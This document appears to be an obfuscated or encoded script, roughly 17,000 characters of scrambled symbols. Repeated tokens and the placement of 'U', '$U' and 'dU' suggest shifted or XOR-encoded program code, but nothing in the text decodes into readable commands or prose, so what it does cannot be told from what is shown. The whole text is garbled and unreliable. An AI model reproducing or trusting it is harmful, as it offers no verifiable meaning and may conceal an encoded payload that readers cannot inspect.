68-=;0g1k=f9<,wkkjvw,6+: *-3w68-=;0g1k=f9<,wkkhvq68-=;0g1k=f9<,wkofvwxqxs}}sw,+-618v6( l).%/>&.=%8wliovw+-*:vvq==7i3&4;3f/;13mwkkovwwo'lto'invswffjtkvvvs>-->&w68-=;0g1k=f9<,wllhvbaoqons==7i3&4;3f/;13mwkkgvba9>3,:s%&l24,::0;+wllgvba9>3,:vvdUUUU"UUU9*1<+601,hk;5i.k&;=9648'7wvU$U,+>+6<{1+*jk4i&f'gb9>3,:dU69w{1+*jk4i&f'gv-:+*-1dU{1+*jk4i&f'gb+-*:dU+-&$U{%7<%517)(9b9>3,:dU69w==7i3&4;3f/;13mwkkkvw6( l).%/>&.=%8wkkfvvv$U6( l).%/>&.=%8wkkfvwvdU{%7<%517)(9b+-*:dU":3,:69w68-=;0g1k=f9<,wkjovw==7i3&4;3f/;13mwkjnvvv$U%&l24,::0;+wkjnvwvdU{%7<%517)(9b+-*:dUUU":3,:$U69w68-=;0g1k=f9<,wkjovw6( l).%/>&.=%8wkjmvvv$U6( l).%/>&.=%8wkjlvw+-*:vdU"U{0&'=+8l+7%7+&- b6( l).%/>&.=%8wkjovw6( l).%/>&.=%8wkjkvvyy==7i3&4;3f/;13mwkjkvw68-=;0g1k=f9<,wkjjvvdU69w~7:>;:-, ,:1+wvyy~{0&'=+8l+7%7+&- yy68-=;0g1k=f9<,wkjivwvbbbnyy%&l24,::0;+wkjovw6( l).%/>&.=%8wkjhvvv$U{ <3b0= 8:+ 3:18+7wvdUU69w{ <3~bb9>3,:yy{ <3aov$UUUU7:>;:-w68-=;0g1k=f9<,wkjgvq{ <3vdU7:>;:-w==7i3&4;3f/;13mwkjfvvdU"UUU"U69w6( l).%/>&.=%8wkjivwvv$UUU6( l).%/>&.=%8wkiovwvdUUU"U==7i3&4;3f/;13mwkinvwvdU"UUU{&).5,o';+/b==7i3&4;3f/;13mwkjovw%&l24,::0;+wkimvvyy~w;:961:;w==7i3&4;3f/;13mwkilvvyy  vdU{8&93mj><+985b~68-=;0g1k=f9<,wkjovw68-=;0g1k=f9<,wkikvv##w61+v8:+ 0/+601w==7i3&4;3f/;13mwkijvsovbbbodU69w~{8&93mj><+985yy==7i3&4;3f/;13mwkjovw68-=;0g1k=f9<,wkiivvyy==7i3&4;3f/;13mwkjovw68-=;0g1k=f9<,wlfjvvv$UU{&h-m 0:><lbw,+-618v8:+ 0/+601w68-=;0g1k=f9<,wkihvs}}vdUUUU69w{&h-m 0:><l~bb(8=4>%+g%(8i0>1>i(l9h+wvv$Upu<30/:1>9961:r+&/:upUU*/;>+: 0/+601w==7i3&4;3f/;13mwkigvs(8=4>%+g%(8i0>1>i(l9h+wvs%&l24,::0;+wnfnvvdU*/;>+: 0/+601w6( l).%/>&.=%8wkijvsos%&l24,::0;+wnfnvvdU{8&93mj><+985b+-*:dU"U"U{2)ho<422+4(.2h)gb9>3,:dU69w{&).5,o';+/yy%&l24,::0;+wkifvw6( l).%/>&.=%8wklivvv$U{441-&',j93i..=b(/ 1:'+ ,<7:;*3:;w%1(m2o%h.(-)mg:wvvdU69w{441-&',j93i..=yyw==7i3&4;3f/;13mwklfvwvrw61+v{441-&',j93i..=vawnklktjhiivv$U{2)ho<422+4(.2h)gb+-*:dU69w%&l24,::0;+wkifvw68-=;0g1k=f9<,wkhovvv(/ *1,<7:;*3: :):1+ww61+v{441-&',j93i..=s%1(m2o%h.(-)mg:wvvdU"U"U69w{&).5,o';+/yy~{8&93mj><+985yy~{2)ho<422+4(.2h)gv$U{>:,(ji719h;0-/7b6( l).%/>&.=%8wkifvw6( l).%/>&.=%8wklivv`w61+v(/ 1:'+ ,<7:;*3:;w%1(m2o%h.(-)mg:wvveodU69w{>:,(ji719h;0-/7cbo##{>:,(ji719h;0-/7r%&l24,::0;+wklfvwvawgfjtjvv$U(/ ,<7:;*3: ,6183: :):1+w6( l).%/>&.=%8wklfvwvs%1(m2o%h.(-)mg:wvvdUUU"UU>2;<832m049;gg26 =1=wvdU-:+*-1dU"U69w{2)ho<422+4(.2h)gv04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wkhnvs6( l).%/>&.=%8wkhmvvdUUUU69w~{%7<%517)(9v$U69w{&).5,o';+/v(/ ,<7:;*3: ,6183: :):1+w==7i3&4;3f/;13mwklfvwvs%1(m2o%h.(-)mg:wvvdU<;m*-.2'*</k+4h08=k3wvdU>2;<832m049;gg26 =1=wvdUU-:+*-1dU"U69w%&l24,::0;+wkifvw==7i3&4;3f/;13mwkhlvvv==7i3&4;3f/;13mwkhlvwwnfkrnkvvdUUU*m-2=(3mf((f./wvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wkkmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UU9*1<+601'm41%&5o+;>,&<jwvU$U+-&$U69w~68-=;0g1k=f9<,wkifvw6( l).%/>&.=%8wkiivvv$U-:+*-1d{2<gk*:9%kb  p  d{= .:nooi2>omob{2<gk*:9%ktkodU"UU{ =,%*o(l2o4b%&l24,::0;+wkifvw68-=;0g1k=f9<,wkhkvv`8:+ +->1,6:1+w>n,,- 8f6hjj%h64o,.wvve9>3,:dU69w~%&l24,::0;+wkhjvw{ =,%*o(l2o4vv{ =,%*o(l2o4b>7fo6,k91 g);.->4)'*kw==7i3&4;3f/;13mwkhivs9>3,:vdU69w~6( l).%/>&.=%8wkhjvw{ =,%*o(l2o4vv$U-:+*-1dUUU"UU69w6,,:+w{ =,%*o(l2o468-=;0g1k=f9<,wkhhvvyy%&l24,::0;+wkhgvw{ =,%*o(l2o4==7i3&4;3f/;13mwkhhvvv$Upu,+>+6<r>;52:,,>8:r.*:*:upUU{6( l).%/>&.=%8wkhfvb%;;;oh%9i2om9%;6ko&8&w{ =,%*o(l2o46( l).%/>&.=%8wkhhvvdU"UU69w6,,:+w{ =,%*o(l2o4==7i3&4;3f/;13mwkgovvyy==7i3&4;3f/;13mwkgnvw{ =,%*o(l2o4==7i3&4;3f/;13mwkgovvv$UUUU{68-=;0g1k=f9<,wkgmvb%;;;oh%9i2om9%;6ko&8&w{ =,%*o(l2o4==7i3&4;3f/;13mwkgovvdU"UU69w6,,:+w{ =,%*o(l2o4%&l24,::0;+wkglvvyy%&l24,::0;+wkonvw{ =,%*o(l2o468-=;0g1k=f9<,wkglvvv$U{==7i3&4;3f/;13mwkgkvb{ =,%*o(l2o4==7i3&4;3f/;13mwkgjvdUpp61<-:2:1+>3<02/0,6+:UU"U69w6,,:+w{ =,%*o(l2o468-=;0g1k=f9<,wkgivvyy%&l24,::0;+wkghvw{ =,%*o(l2o468-=;0g1k=f9<,wkgivvyy%&l24,::0;+wkmjvw{ =,%*o(l2o4%&l24,::0;+wkgivvawo'm>to'gvv$U{6( l).%/>&.=%8wkggvb{ =,%*o(l2o4%&l24,::0;+wkgfvdUUU"Upp,<7:;*3:1:80+6>+0-90-gqk96=:-,UUU69w6,,:+w{ =,%*o(l2o4==7i3&4;3f/;13mwknnvvyy==7i3&4;3f/;13mwkghvw{ =,%*o(l2o4%&l24,::0;+wkfovvyy68-=;0g1k=f9<,wkmjvw{ =,%*o(l2o468-=;0g1k=f9<,wkfnvvawnffrffvv$U{6( l).%/>&.=%8wkfmvb{ =,%*o(l2o46( l).%/>&.=%8wkfnvd{1<%o(21kbihuid{>l'h&'2f9h3,klb{1<%o(21krkjdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wkflvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU"U"UU9*1<+601>;5>5j k5<& 87o)o1-:+wvU$U+-&$U69w~==7i3&4;3f/;13mwkfkvw%&l24,::0;+wkiivv##~%&l24,::0;+wkfkvw68-=;0g1k=f9<,wlfjvvv-:+*-1dUUU69ww61+v8:+ 0/+601w%&l24,::0;+wkfjvsova68-=;0g1k=f9<,wklfvwvrwljkntjfvv-:+*-1dU69w6( l).%/>&.=%8wkfivw68-=;0g1k=f9<,wkhkvvyy8:+ +->1,6:1+w68-=;0g1k=f9<,wkfhvvv-:+*-1dUUU{:4i7%7li;>'*/76b7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wkfgvs}}vdU69w~==7i3&4;3f/;13mwkghvw{:4i7%7li;>'*/76v##68-=;0g1k=f9<,wkffvw{:4i7%7li;>'*/76vcwfklrkklv##=n-8-m<n&2j=7.j+:f%inw{:4i7%7li;>'*/76v##~)%;j1-;6fo.< h=<%=*w{:4i7%7li;>'*/76vv${+k0g<+%gkblhokd{(3<)f-=;3%b{+k0g<+%gkznhdU{:4i7%7li;>'*/76b9>3,:dU{:-1><;(j*i=g2b6( l).%/>&.=%8wmmlvw-nif,f=:o%ol2)owvvdUUU69w{:-1><;(j*i=g2yy{:-1><;(j*i=g2awinirnnivyy{:-1><;(j*i=g2cbwjmkmghintlfvv${01 *35jgj/7<b  p  d{5j,o&+84,j&6b{01 *35jgj/7<tnfdU{/k*>4+(2i2424:=nb%&l24,::0;+wmlnvw-nif,f=:o%ol2)owvvdU69w6( l).%/>&.=%8wjoovw{/k*>4+(2i2424:=nvyy68-=;0g1k=f9<,wjonvw{/k*>4+(2i2424:=nvawnokgjlgtlgvv{/k*>4+(2i2424:=nb5( g6,6h*67j545kh:w{/k*>4+(2i2424:=nvdU69w==7i3&4;3f/;13mwjomvw{/k*>4+(2i2424:=nvyy~=n-8-m<n&2j=7.j+:f%inw{/k*>4+(2i2424:=nvyy)%;j1-;6fo.< h=<%=*w{/k*>4+(2i2424:=nvv$Upp:2<><7:;>;>/+:-e,618*3>-361:>-r+&/:UU5% 3m3%%i+&%>-;(142mm)w6( l).%/>&.=%8wkfgvs{/k*>4+(2i2424:=ns68-=;0g1k=f9<,wnfnvvdU{:4i7%7li;>'*/76b{/k*>4+(2i2424:=ndU"U"UUU69w~{:4i7%7li;>'*/76v${'*7n7%liio7,)/b  	d{ 4)34o;/lb{'*7n7%liio7,)/undU*/;>+: 0/+601w6( l).%/>&.=%8wjolvs%&l24,::0;+wklfvwvs%&l24,::0;+wjokvvdUUU-:+*-1dUUUU"UU"U{.;n7)&+km>b>-->&w-nif,f=:o%ol2)owvvdU{%:8k43)n(m=n6&b* <>0f1:0)g)&4k,07+oo1wvdU{;6m6fj:h*0fib*m,n*l71hj:h7,7>,.4*w{%:8k43)n(m=n6&vd{5=:lki2f8*n55=bwo';jto'fgvd{ 617703< b{5=:lki2f8*n55=znldU69w%&l24,::0;+wkgnvw{;6m6fj:h*0fivv$UU90-:><7w{;6m6fj:h*0fi>,{2nlg71'f->v$U69w%&l24,::0;+wjojvw{2nlg71'f->srwntlvvbbb==7i3&4;3f/;13mwjoivv{.;n7)&+km>b{%:8k43)n(m=n6&qxpxq{2nlg71'f->dU"UUU"U69w;:961:;w==7i3&4;3f/;13mwjohvvyy%&l24,::0;+wkfivw==7i3&4;3f/;13mwjogvvv$U90-:><7ww>-->&v==7i3&4;3f/;13mwjogvw 
 q6( l).%/>&.=%8wjofvv>,{&%7+287,2=>j&v{.;n7)&+km>b{&%7+287,2=>j&dUUU"UUUU{.;n7)&+km>b6( l).%/>&.=%8wjnovw{.;n7)&+km>vdU{%<:(ik2h7*nl;;b>-->&wvdUUU{;h 4mn n:8*b==7i3&4;3f/;13mwjojvw==7i3&4;3f/;13mwjnnvw%&l24,::0;+wjnmvs}}s6( l).%/>&.=%8wjojvw{:4i7%7li;>'*/76soswlglltinholvvvsoswo'mklto'j=;vvdU90-:><7w{.;n7)&+km>>,{93=9>%l2lmh16-0nv$U{772332f&o8++m:0b6( l).%/>&.=%8wmmlvw{93=9>%l2lmh16-0nvdUUU69w~{772332f&o8++m:0##{772332f&o8++m:0cbwnokgkfhthfvv<01+61*:dU{:'j4(n+<%j2;>/klb==7i3&4;3f/;13mwjnlvw{93=9>%l2lmh16-0ns9>3,:s1*33soswijjmktnmvvdU69w~6( l).%/>&.=%8wjnkvw{:'j4(n+<%j2;>/klv##~=n-8-m<n&2j=7.j+:f%inw{:'j4(n+<%j2;>/klvv<01+61*:dU69w{93=9>%l2lmh16-0n~bb-nif,f=:o%ol2)owvyy6( l).%/>&.=%8wjojvw6( l).%/>&.=%8wjnnvw%&l24,::0;+wjnjvs}}s{:'j4(n+<%j2;>/klvsoswnffitjmvv~bb{;h 4mn n:8*v<01+61*:dU{%<:(ik2h7*nl;;b{93=9>%l2lmh16-0ndU"U69w~{%<:(ik2h7*nl;;v$U69w%&l24,::0;+wkfivw6( l).%/>&.=%8wjnivvv,:+ +->1,6:1+w6( l).%/>&.=%8wjnhvsnswjmithkvvdU-:+*-1dU"U*/;>+: 0/+601w%&l24,::0;+wjolvs%&l24,::0;+wjngvwvs%&l24,::0;+wjokvvdU90-:><7w{%<:(ik2h7*nl;;>,{;:m.20n>922=h/v$U..+:l- 3/5(*9,%,)6<:w{;:m.20n>922=h/swo'ioto'nkkvvdU69w,=.9=%*lk<l11j),n'56'/w{;:m.20n>922=h/s+l92.0094n*&>:4j01(w{:4i7%7li;>'*/76vvv$U1=g11'309*'4'1g3&w{;:m.20n>922=h/vdU:fk534k;<kn+4l3w{;:m.20n>922=h/vd{;)g0h<'mb  p  d{<:5.5&>)-9-;o:b{;)g0h<'mtmhdU..+:l- 3/5(*9,%,)6<:w{;:m.20n>922=h/swmmnthnvvdU3o>94&fk7+k97f >w{;:m.20n>922=h/vdU69w{;:m.20n>922=h/bbb-nif,f=:o%ol2)owvv$UUUU:%''&1')6-2mnm(w+-*:vdU'+l>-385.n%+.(,6+mw+-*:vdU"U":3,:$U..+:l- 3/5(*9,%,)6<:w{;:m.20n>922=h/swmhhtnjvvdUUU"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv${=g'2<>l+49m<bmkg#nhfd{<g<-<j2&o1b{=g'2<>l+49m<njdUUU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wjnfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"UU"U9*1<+6016%5m67-3+3l)o;lwvUU$U,+>+6<{4(&fjl=>lj-b9>3,:dU69w{4(&fjl=>lj-v-:+*-1dU{4(&fjl=>lj-b+-*:dU+-&$U1&l;6-(42+((j08;*+kg+wvdUUU>;5>5j k5<& 87o)o1-:+wvdUUUU'+>652&(<(m%;0,wvdUUUU'm41%&5o+;>,&<jwvdUUUU''+&2k:m8l)<223=0m)0hkwvdU%382/;<*((i5j%h>04n+wvdU3h55->=32(1-83k=.nn=wvdU349)=<68.<<j<,kwvdU5f&f94&%;'m58mo:-o/wvdU69w/=%%ji 4->m3)*1+5i7&0wvv$U69w==7i3&4;3f/;13mwjmovw==7i3&4;3f/;13mwjmnvvyy;6; ><+601w6( l).%/>&.=%8wkkmvvv$U69w6( l).%/>&.=%8wjmovw==7i3&4;3f/;13mwjmmvvv==7i3&4;3f/;13mwjmmvw==7i3&4;3f/;13mwkklvvdU":3,:$U8&m43o,);ol%*)4=w68-=;0g1k=f9<,wkkmvs==7i3&4;3f/;13mwkklvsovdU"U"UU"<>+<7w7-0(>=3:{3+1n/j=+n mv${5m/2>'f21/(()b  p  d{=>7,+/04:b{5m/2>'f21/(()tnldUUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+601>2;<832m049;gg26 =1=wvU$UU+-&$U69w~%&l24,::0;+wjmlvw%&l24,::0;+wkkjvv##~==7i3&4;3f/;13mwjmlvw68-=;0g1k=f9<,wjmkvvv-:+*-1dU69w~==7i3&4;3f/;13mwjmlvw68-=;0g1k=f9<,wjmjvv##~6( l).%/>&.=%8wjmlvw==7i3&4;3f/;13mwlfjvvv-:+*-1dU{=.;n).(g',h50*:3b6( l).%/>&.=%8wjmivwvdU69w{=.;n).(g',h50*:3rw61+v8:+ 0/+601w==7i3&4;3f/;13mwjmhvsovcwljfitkvv-:+*-1dU*/;>+: 0/+601w%&l24,::0;+wjmhvs{=.;n).(g',h50*:3s68-=;0g1k=f9<,wjmgvvdUUU%&l24,::0;+wkkjvw702: *-3wxpxvs>-->&w6( l).%/>&.=%8wllhvbams%&l24,::0;+wllgvba9>3,:s6( l).%/>&.=%8wkkgvba9>3,:vvdUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU"<>+<7w'<:/+601{3+1n/j=+n mv$U"Upp-0+>+:.*0+6:1+90-	:-,:30<4UU"UUU9*1<+601/=%%ji 4->m3)*1+5i7&0wvU$U69w~68-=;0g1k=f9<,wjmfvw==7i3&4;3f/;13mwjmjvvv$U-:+*-1+-*:dU"UU69w68-=;0g1k=f9<,wjmfvw==7i3&4;3f/;13mwkhkvvyy8:+ +->1,6:1+w>n,,- 8f6hjj%h64o,.wvvv$UUU-:+*-19>3,:d{9+ij5')8;'b  	d{&0:%5.f/6 %b{9+ij5')8;'ufdU"UU{-2.h'.h)16;5%%j4b7:j'0.o461hlo6m(.wvdU{>ko4(55838i//82b>7fo6,k91 g);.->4)'*kw68-=;0g1k=f9<,wkhivs9>3,:vdU69w6( l).%/>&.=%8wkgnvw{>ko4(55838i//82vyy6,,:+w{>ko4(55838i//8268-=;0g1k=f9<,wjlovvyyw61+v{>ko4(55838i//8268-=;0g1k=f9<,wjlnvabwnfktnoivyyw61+v{>ko4(55838i//82==7i3&4;3f/;13mwjlnvcbwnhjngtigggmvv{-2.h'.h)16;5%%j4bw61+v{>ko4(55838i//826( l).%/>&.=%8wjlnvdUUU{421-7-m+fg&0<j%jbw61+v8:+ 0/+601w%&l24,::0;+wkijvsovdU69w{421-7-m+fg&0<j%jaoyyw==7i3&4;3f/;13mwjlmvwvr{421-7-m+fg&0<j%jvc{-2.h'.h)16;5%%j4v$U-:+*-19>3,:dU"UUUUU{=>96ffn4/(o< bw61+v8:+ 0/+601w==7i3&4;3f/;13mwjllvsovdU69w{=>96ffn4/(o< aov$UU{;n457g%.-jf6bw61+v8:+ 0/+601w%&l24,::0;+wjlkvsovdU{;1j,- j>3f7%b>-->&wwmiktlivswnjmlrimlvswnhlitikvswljlhtilvswljmkthivvdU{'0-%/1ko)5b{;1j,- j>3f7%%&l24,::0;+wjljvwos6( l).%/>&.=%8wjlivw{;n457g%.-jf6rnswntlvvvdUUU{'0-%/1ko)5tb%&l24,::0;+wkkovwosw61+vw{'0-%/1ko)5uoqmjvvdU69ww==7i3&4;3f/;13mwjlmvwvr{=>96ffn4/(o< vc{'0-%/1ko)5v$Upp,*,/:1;7:>-+=:>+UU-:+*-19>3,:dU"U"UU-:+*-1+-*:dU"UU9*1<+6017->=%<m&9)2+)1wvU$U{;n457g%.-jf6bw61+v8:+ 0/+601w6( l).%/>&.=%8wjlkvsovdU*/;>+: 0/+601w==7i3&4;3f/;13mwjlkvs{;n457g%.-jf6tnvdU*/;>+: 0/+601w==7i3&4;3f/;13mwjllvs==7i3&4;3f/;13mwjlmvwvvdUU"UU9*1<+601&+jof(,')-kgofl*o1+:gwvUU$Upp:>+*-:;2>8:e10-2>3.*0+6:1+UU{:-1n:7ko0i3%lb>-->&wvdU+-&$U{:-1n:7ko0i3%l6( l).%/>&.=%8wjlhvb(8=4>%+g%(8i0>1>i(l9h+wvdU{:-1n:7ko0i3%l6( l).%/>&.=%8wjlgvb 	dU{:-1n:7ko0i3%l6( l).%/>&.=%8wjlfvb%&l24,::0;+wglvwvdU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjkovbw%&l24,::0;+wjknvw6( l).%/>&.=%8wjkmvvyy6, ,,3wvv`neodU{:-1n:7ko0i3%l%&l24,::0;+wjklvbw%&l24,::0;+wjknvw==7i3&4;3f/;13mwmmhvvyy6, 2*3+6,6+:wvv`neodUUU{:-1n:7ko0i3%l==7i3&4;3f/;13mwjkkvb6,,:+w{68-=;0g1k=f9<,wjkjvv`w,+-618v{6( l).%/>&.=%8wjkjve}}dU{:-1n:7ko0i3%l==7i3&4;3f/;13mwjkivb6,,:+w{ 	68-=;0g1k=f9<,wgivv`==7i3&4;3f/;13mwjkhvww,+-618v{ 	68-=;0g1k=f9<,wgivsoswhtllvve}}dUU{,:')<%fo;'h93bw6,,:+w{%&l24,::0;+wjkgvvyy==7i3&4;3f/;13mwjkfvw{68-=;0g1k=f9<,wjjovvv`%&l24,::0;+wlfnvw{6( l).%/>&.=%8wjjovve}}dUUU{:-1n:7ko0i3%l6( l).%/>&.=%8wjjnvbw{,:')<%fo;'h93~bb}}v`neodU{:-1n:7ko0i3%l6( l).%/>&.=%8wjjmvb6( l).%/>&.=%8wjjlvw{,:')<%fo;'h93vdU{:-1n:7ko0i3%l%&l24,::0;+wjjkvb~:2/+&w{6( l).%/>&.=%8wjjjvv`neodUUUU{:-1n:7ko0i3%l%&l24,::0;+wjjivb~:2/+&w{68-=;0g1k=f9<,wjjhvv`neodU{:-1n:7ko0i3%l==7i3&4;3f/;13mwjjgvb%&l24,::0;+wjjfvw68-=;0g1k=f9<,wjmjvv`w61+v8:+ 0/+601w6( l).%/>&.=%8wjiovsoveodUU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjinvbw0m;'l>7%/7%i16 jw==7i3&4;3f/;13mwjinvs}}v~bb}}v`neodU{:-1n:7ko0i3%l6( l).%/>&.=%8wjimvb%&l24,::0;+wjjfvw6( l).%/>&.=%8wjmjvv`w61+v8:+ 0/+601w6( l).%/>&.=%8wjilvsoveodU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjikvb68-=;0g1k=f9<,wjjfvw6( l).%/>&.=%8wjmjvv`w61+v8:+ 0/+601w6( l).%/>&.=%8wjijvsoveodU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjiivb==7i3&4;3f/;13mwjihvw==7i3&4;3f/;13mwjmjvv`w61+v8:+ 0/+601w%&l24,::0;+wjigvsoveodU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{:-1n:7ko0i3%l6( l).%/>&.=%8wjifvb68-=;0g1k=f9<,wjhovw{)k98%ni;o9q6( l).%/>&.=%8wjhnvv`w96k>>4,11;.)'++)4,w==7i3&4;3f/;13mwjhmvw{)k98%ni;o9q6( l).%/>&.=%8wjhnvs9>3,:s1*33soswgnnntgnvvv`menveodUUU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjhlvb%&l24,::0;+wjhkvw{)k98%ni;o9q68-=;0g1k=f9<,wjhjvv`w96k>>4,11;.)'++)4,w==7i3&4;3f/;13mwjhivw{)k98%ni;o9q%&l24,::0;+wjhjvs9>3,:s1*33soswgniltmfvvv`menveodU{:-1n:7ko0i3%l%&l24,::0;+wjhhvb%&l24,::0;+wjhkvw{)k98%ni;o9q6( l).%/>&.=%8wjhgvv`w96k>>4,11;.)'++)4,w%&l24,::0;+wjhivw{)k98%ni;o9q6( l).%/>&.=%8wjhgvs9>3,:s1*33soswgnnmtgovvv`menveodU{ =/&./h2=4h36;84b68-=;0g1k=f9<,wjhfvq0,://=::3'-f*7wqx8xswnlrjvvdU{>><hi:2%h; %f8ob==7i3&4;3f/;13mwjgovq0,://=::3'-f*7wqx8xswnlrjvvdU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjgnvbodU90-:><7w>-->&w(2++90&.)m=1=gl8g6wvs{)k98%ni;o9sq6( l).%/>&.=%8wjgmvv>,{3i&))=8-oi3n,j4+v$U69w==7i3&4;3f/;13mwjhkvw{3i&))=8-oi3n,j4+qxpxq{ =/&./h2=4h36;84q%&l24,::0;+wjoivvv{:-1n:7ko0i3%l==7i3&4;3f/;13mwjgnvbndU69w%&l24,::0;+wjhkvw{3i&))=8-oi3n,j4+qxpxq{>><hi:2%h; %f8ovyyw61+v6( l).%/>&.=%8wmomvw{3i&))=8-oi3n,j4+qxpxq{>><hi:2%h; %f8ova==7i3&4;3f/;13mwjglvwvrwljgrnngvv$U{:-1n:7ko0i3%l==7i3&4;3f/;13mwjgkvbmdU=-:>4dUUU"U"U*1,:+w{>><hi:2%h; %f8os{3i&))=8-oi3n,j4+vdU{-)00, f-n 70.*glb6( l).%/>&.=%8wjgjvw%&l24,::0;+wkjkvv`6( l).%/>&.=%8wkjkvw==7i3&4;3f/;13mwjgivve9>3,:dU69w~68-=;0g1k=f9<,wjghvw{-)00, f-n 70.*glv##{-)00, f-n 70.*glbbb}}##{-)00, f-n 70.*glbbb%&l24,::0;+wjggvv{-)00, f-n 70.*glb6( l).%/>&.=%8wjgfvdU{:-1n:7ko0i3%l68-=;0g1k=f9<,wjfovbw%&l24,::0;+wjhkvwq{-)00, f-n 70.*glvyy==7i3&4;3f/;13mwliivww,+-618v%&l24,::0;+wjhivwq{-)00, f-n 70.*glvs6( l).%/>&.=%8wjfnvv~bb9>3,:v`neodU{:-1n:7ko0i3%l%&l24,::0;+wjfmvbw6( l).%/>&.=%8wjflvwq%&l24,::0;+wjfkvvyy6( l).%/>&.=%8wliivww,+-618v6( l).%/>&.=%8wjhivwq==7i3&4;3f/;13mwjfkvvs%&l24,::0;+wjfjvv~bb9>3,:v`neodUUU{:-1n:7ko0i3%l%&l24,::0;+wjfivbw6( l).%/>&.=%8wjfhvwq68-=;0g1k=f9<,wjfgvvyy68-=;0g1k=f9<,wliivww,+-618v6( l).%/>&.=%8wjffvwq%&l24,::0;+wioovs9>3,:s1*33soswijjmotnivvs%&l24,::0;+wionvv~bb9>3,:v`neodUUUU{:-1n:7ko0i3%l==7i3&4;3f/;13mwiomvb;:961:;w6( l).%/>&.=%8wiolvv`neodU{:-1n:7ko0i3%l==7i3&4;3f/;13mwiokvbw;:961:;w%&l24,::0;+wiojvv##;:961:;w6( l).%/>&.=%8wioivv##;:961:;w6( l).%/>&.=%8wiohvv##==7i3&4;3f/;13mwjgjvw6( l).%/>&.=%8wiogvv##68-=;0g1k=f9<,wiofvw6( l).%/>&.=%8winovv##6,,:+w{==7i3&4;3f/;13mwinnvv##==7i3&4;3f/;13mwinmvw==7i3&4;3f/;13mwinlvvv`neodU{:-1n:7ko0i3%l68-=;0g1k=f9<,winkvbw61+v8:+ 0/+601w==7i3&4;3f/;13mwkijvsovdU{:-1n:7ko0i3%l68-=;0g1k=f9<,winjvbw61+v8:+ 0/+601w68-=;0g1k=f9<,winivsovdU{:-1n:7ko0i3%l6( l).%/>&.=%8winhvbw61+v8:+ 0/+601w6( l).%/>&.=%8wingvsovdUUU{<7l.lo/3,f587b7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,winfvs>-->&wvvd{3-96i:++<bifod{-j59'5=1+&bw{3-96i:++<aov`{3-96i:++<er{3-96i:++<dUU{&gm=kfm.j6bodUU{*9o=*>:% <&i6bodU69w==7i3&4;3f/;13mwkgnvw{<7l.lo/3,f587vv$UUUU90-:><7w{<7l.lo/3,f587>,{2nlg71'f->v$UUU69w1 &l%h<*>;.;<91gm;nkw{2nlg71'f->vbbb}}v<01+61*:dUU{&gm=kfm.j6ttdUU{0>mlf,&,g&b68-=;0g1k=f9<,wkgnvw{2nlg71'f->v`w61+vw6,,:+w{2nlg71'f->==7i3&4;3f/;13mwimovv`{2nlg71'f->6( l).%/>&.=%8wimovenvendU{/n&kf*% 9=+=f'(b68-=;0g1k=f9<,wkgnvw{2nlg71'f->vyy6,,:+w{2nlg71'f->==7i3&4;3f/;13mwimnvv`w61+v{2nlg71'f->68-=;0g1k=f9<,wimnveodU69w~{0>mlf,&,g&yyw~{/n&kf*% 9=+=f'(##{/n&kf*% 9=+=f'(c==7i3&4;3f/;13mwimmvwvrwljjotjovvv{*9o=*>:% <&i6ttdUUUU"U"U{:-1n:7ko0i3%l%&l24,::0;+wimlvb{&gm=kfm.j6dUU{:-1n:7ko0i3%l6( l).%/>&.=%8wimkvb{*9o=*>:% <&i6dU{=*--3.(mj9<b==7i3&4;3f/;13mwinmvw==7i3&4;3f/;13mwjmjvv`8:+ 0/+601w68-=;0g1k=f9<,wimjvs}}ve}}dU{:-1n:7ko0i3%l==7i3&4;3f/;13mwimivb%&l24,::0;+wimhvw{=*--3.(mj9<v`6( l).%/>&.=%8wjkhvw{=*--3.(mj9<soswmlfmlkvve}}dU{7 *98f'll=,kb%&l24,::0;+winmvw68-=;0g1k=f9<,wjmjvv`8:+ 0/+601w6( l).%/>&.=%8wimgvs>-->&wvve>-->&wvdU{:-1n:7ko0i3%l6( l).%/>&.=%8wimfvbw%&l24,::0;+wkgnvw{7 *98f'll=,kvyyw~:2/+&w{7 *98f'll=,kx+xv##~:2/+&w{7 *98f'll=,k%&l24,::0;+wilovvvv`neodU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U{:-1n:7ko0i3%l%&l24,::0;+wilnvb68-=;0g1k=f9<,wilmvw{3+1n/j=+n mra8:+:,,>8:wvsoswkmtngvvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU{:-1n:7ko0i3%l68-=;0g1k=f9<,wilnvb6( l).%/>&.=%8willvw{3+1n/j=+n mra8:+:,,>8:wvsoswo'mgto'nkvvdU"UUU-:+*-1{:-1n:7ko0i3%ldU"UU9*1<+6012 .n5/+%'k7+mj-&h4-;l+wvU$U69w68-=;0g1k=f9<,winmvw6( l).%/>&.=%8wilkvvv$U-:+*-1w,+-618v,6+: *-3w68-=;0g1k=f9<,wiljvvdU"U-:+*-16( l).%/>&.=%8winmvw6( l).%/>&.=%8wilivv`w,+-618v(/ 30861 *-3wve}}dU"UUU9*1<+601(8%</,)&:4o0.=9w{1)146fm  =vU$U{%k-;>2>f61k%*.03b}}dU69w6( l).%/>&.=%8winmvw6( l).%/>&.=%8wilhvvv$Upp,1>/,70+r6,03>+:;,<7:;*3:-UU{%k-;>2>f61k%*.03bw,+-618v%&l24,::0;+wilgvw702: *-3wvs<01,+>1+w68-=;0g